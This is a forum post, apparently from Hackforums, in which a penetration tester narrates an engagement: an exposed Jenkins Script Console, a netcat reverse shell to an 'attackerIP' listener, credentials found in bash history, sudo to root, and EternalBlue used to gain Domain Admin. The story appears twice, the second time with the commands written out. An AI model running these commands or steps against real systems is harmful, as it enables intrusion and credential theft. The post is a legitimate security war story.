![[BLANK]](https://hackforums.net/uploads/avatars/avatar_3498571.jpg?dateline=1545319363){kind=avatar}
Jan 25, 2018 08:20 AM
(This post was last modified: Jan 30, 2018 02:40 PM by [BLANK].)
I thought it would be interesting to share some of my real world penetration testing experience in a story format. The goal is not to write the next great novel or anything, but I though it would be an interesting way of sharing real world experience, problems, and solutions. It may also inspire others to write some of their engagement stories as well.
I recently had an engagement where I was placed in a corporate network with no information beyond some flags (IPs of hosts to compromise) to attempt to access. My local host was a Kali box, I had no domain connections or anything else beyond an IP on the network. The first thing I did was to start enumerating the network. Some people would start with a mass port scan (OSCP right) and while that sort of scanning is fine in most engagements where you don't mind being super noisy, I try to stay quite on the wire for at least the first day or two of testing. So I began with more passive scanning, using nmap I was able to intercept broadcast messages and get an understanding of what kind of network I was on, what hosts were broadcasting, NETBIOS information etc.
The output was pretty normal, printers, services etc. But one host caught my eye right away, a Jenkins box! Don't get me wrong, Jenkins set up correctly is very useful and can be secure. But...I decided to check out the host anyways in case I would get lucky. And did I ever. I setup a port forward from my local host through the tunnel I was using to get into the corporate net so that I could access the web application inside the corporate network.
After the tunnel was up I opened my browsers, browsed to https://localhost:8888 and got access to the Jenkins panel. Now this is where things get interesting, because the admin who set up the Jenkins box did not lock down Jenkins functionality, and I got access to the Script Console, which means I was able to execute server side code.
More info: https://www.pentestgeek.com/penetration-...o-password
With the script console I used netcat to create a reverse shell to a metasploit listener and from there used "post/multi/manage/shell_to_meterpreter" to get a full meterpreter from my basic netcat shell.
I was in! My user on the server was Jenkins but I had a lot of access. I couldn't access root or any other user files. I started enumerating the server, looking for insecure kernel version, file permissions etc. Then it occurred to me to check the bash history of the user. There was a lot of jobs assigned to Jenkins which is normal, some basic setup commands, but then I noticed one of the jobs included a username and password. Now the username is different then Jenkins, but I figured, what the hell why not try it. So I opened a new shell on my remote Kali box then attempted to SSH into the Jenkins box with the new password I found, and yep, it worked. So I decided to take it one step further, would Jenkins happen to be a sudo user?
It was, and now I had full root access on the dev ops server. From there I accessed every home directory, root folder, got the shadow hashes etc. I found everything from gmail account/passwords to github repo credentials and certificates for many services. And maybe the best thing I found was a pre-established SSH tunnel to an even more internal network. I didn't even have to breach into it.
From this Jenkins box I was able to find a vulnerable Windows Server 2008, using Eternalblue I gained full SYSTEM access, the server was a Domain Controller. So naturally I gathered all the user hashes for later and set myself up as a full Domain Admin.
And that was how I got full Domain Admin on a major corporate network in less then one day.
I hope you all enjoyed the story, I look forward to sharing more in the future.
I recently had an engagement where I was placed in a corporate network with no information beyond some flags (IPs of hosts to compromise) to attempt to access. My local host was a Kali box, I had no domain connections or anything else beyond an IP on the network. The first thing I did was to start enumerating the network. Some people would start with a mass port scan (OSCP right) and while that sort of scanning is fine in most engagements where you don't mind being super noisy, I try to stay quite on the wire for at least the first day or two of testing. So I began with more passive scanning, using nmap I was able to intercept broadcast messages and get an understanding of what kind of network I was on, what hosts were broadcasting, NETBIOS information etc.
Code
nmap -e eth0 *broadcast-*The output was pretty normal, printers, services etc. But one host caught my eye right away, a Jenkins box! Don't get me wrong, Jenkins set up correctly is very useful and can be secure. But...I decided to check out the host anyways in case I would get lucky. And did I ever. I setup a port forward from my local host through the tunnel I was using to get into the corporate net so that I could access the web application inside the corporate network.
Code
ssh -L 8888:Jenkins:443 root@remotehostAfter the tunnel was up I opened my browsers, browsed to https://localhost:8888 and got access to the Jenkins panel. Now this is where things get interesting, because the admin who set up the Jenkins box did not lock down Jenkins functionality, and I got access to the Script Console, which means I was able to execute server side code.
More info: https://www.pentestgeek.com/penetration-...o-password
With the script console I used netcat to create a reverse shell to a metasploit listener and from there used "post/multi/manage/shell_to_meterpreter" to get a full meterpreter from my basic netcat shell.
Code
ncat -nv attackerIP port -e '/bin/sh'I was in! My user on the server was Jenkins but I had a lot of access. I couldn't access root or any other user files. I started enumerating the server, looking for insecure kernel version, file permissions etc. Then it occurred to me to check the bash history of the user. There was a lot of jobs assigned to Jenkins which is normal, some basic setup commands, but then I noticed one of the jobs included a username and password. Now the username is different then Jenkins, but I figured, what the hell why not try it. So I opened a new shell on my remote Kali box then attempted to SSH into the Jenkins box with the new password I found, and yep, it worked. So I decided to take it one step further, would Jenkins happen to be a sudo user?
Code
sudo su -It was, and now I had full root access on the dev ops server. From there I accessed every home directory, root folder, got the shadow hashes etc. I found everything from gmail account/passwords to github repo credentials and certificates for many services. And maybe the best thing I found was a pre-established SSH tunnel to an even more internal network. I didn't even have to breach into it.
From this Jenkins box I was able to find a vulnerable Windows Server 2008, using Eternalblue I gained full SYSTEM access, the server was a Domain Controller. So naturally I gathered all the user hashes for later and set myself up as a full Domain Admin.
And that was how I got full Domain Admin on a major corporate network in less then one day.
I hope you all enjoyed the story, I look forward to sharing more in the future.
![[Image: bustabyte-hf-signature-box.png]](https://bustabyte.com/assets/images/misc/bustabyte-hf-signature-box.png)
